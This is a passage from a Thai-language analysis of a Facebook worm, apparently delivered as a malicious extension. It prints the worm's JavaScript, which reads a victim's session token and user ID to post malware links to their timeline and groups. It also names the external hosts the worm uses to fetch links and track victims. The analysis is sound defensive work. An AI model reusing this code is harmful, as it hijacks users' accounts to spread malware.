    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value + "&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_jsonp_2_c&xhpc_targetid=" + idgrp + "&xhpc_message=| " + title_cry + " > " + url_cry + "&xhpc_message_text=| " + title_cry + " > " + url_cry + "&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&nctr[_mod]=pagelet_group_composer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=k&phstamp=165816749114848369115";
    xmlhttppg.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppg.send(params);
}
function postpaylas(){
    var xmlhttppo = new XMLHttpRequest();
    xmlhttppo.onreadystatechange = function () { if(xmlhttppo.readyState == 4){} };
    if (document.URL.indexOf("https://") >= 0) { xmlhttppo.open("POST", "https://www.facebook.com/ajax/updatestatus.php", true); } else { xmlhttppo.open("POST", "http://www.facebook.com/ajax/updatestatus.php", true); }
    var params = "fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value+"&xhpc_context=profile&xhpc_ismeta=1&xhpc_fbx=1&xhpc_timeline=1&xhpc_composerid=u_0_33&xhpc_targetid=" + user_id + "&xhpc_message=" + mesaj + " %0A%0A|| " + title_cry + " > " + url_cry + "&xhpc_message_text=" + mesaj_text + " %0A%0A|| " + title_cry + " > " + url_cry + "&backdated_date[year]=&backdated_date[month]=&backdated_date[day]=&backdated_date[hour]=&backdated_date[minute]=&is_explicit_place=&composertags_place=&composertags_place_name=&composer_session_id=1363309654&composertags_city=&disable_location_sharing=false&composer_predicted_city=&audience[0][value]=80&nctr[_mod]=pagelet_timeline_recent&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=m&phstamp=165816749114848369115";
    xmlhttppo.setRequestHeader ("X-SVN-Rev", svn_rev);
    xmlhttppo.send(params);
}


โดยทุกครั้งที่จะ post จะมีการไปดึง link ที่ถูก generate มาจาก http://sarjad.net/theme/id/images/ribbons/urlgen.php อีกด้วย ซึ่งทุกครั้งที่นำข้อมูลมา ก็จะมีการลบ function ที่ใช้ในการดึง link ออก แล้วไปเปลี่ยนชื่อ function ใหม่ เข้าใจว่าเพื่อเอา link หลายๆอันที่เป็น ads มาใช้เปลี่ยนไปเรื่อยๆนั่นเอง

   5.2 all.js เป็น script ที่เอาไว้ไปเรียก http://whos.amung.us เพื่อเอาไว้ดูว่าเหยื่อเข้า Facebook ไปถึงไหนแล้ว เพราะเท่าที่ดูผมเข้าไปแค่หน้าแรกของ Facebook เวลา request ออกไปก็จะกลายเป็น 

http://whos.amung.us/pingjs/?k=casperpost&t=Welcome%20to%20Facebook%20-%20Log%20In,%20Sign%20Up%20or%20Learn%20More&c=c&y=&a=0&r=784

ซึ่งก็คือ Header หน้าแรกของ Facebook นั่นเอง


   5.3 user.js จะเป็นส่วนที่ไปโพสต์ malware link คล้ายๆกับ post.js แต่จะเน้นไปที่อะไรที่เกี่ยวกับ user เช่นคนที่เรา follow, fan page, page ที่เรากด like และอื่นๆ

6.  script ที่มาจาก crazyjacks.googlecode.com มี 3 script เหมือนกับที่ดึงมาจาก crazyjack.no-ip.info และโค้ดเหมือนกันทุกประการ ดังนั้นคิดว่าน่าจะเป็นส่วนที่เหมือนกับส่วนสำรองของตัว script มากกว่า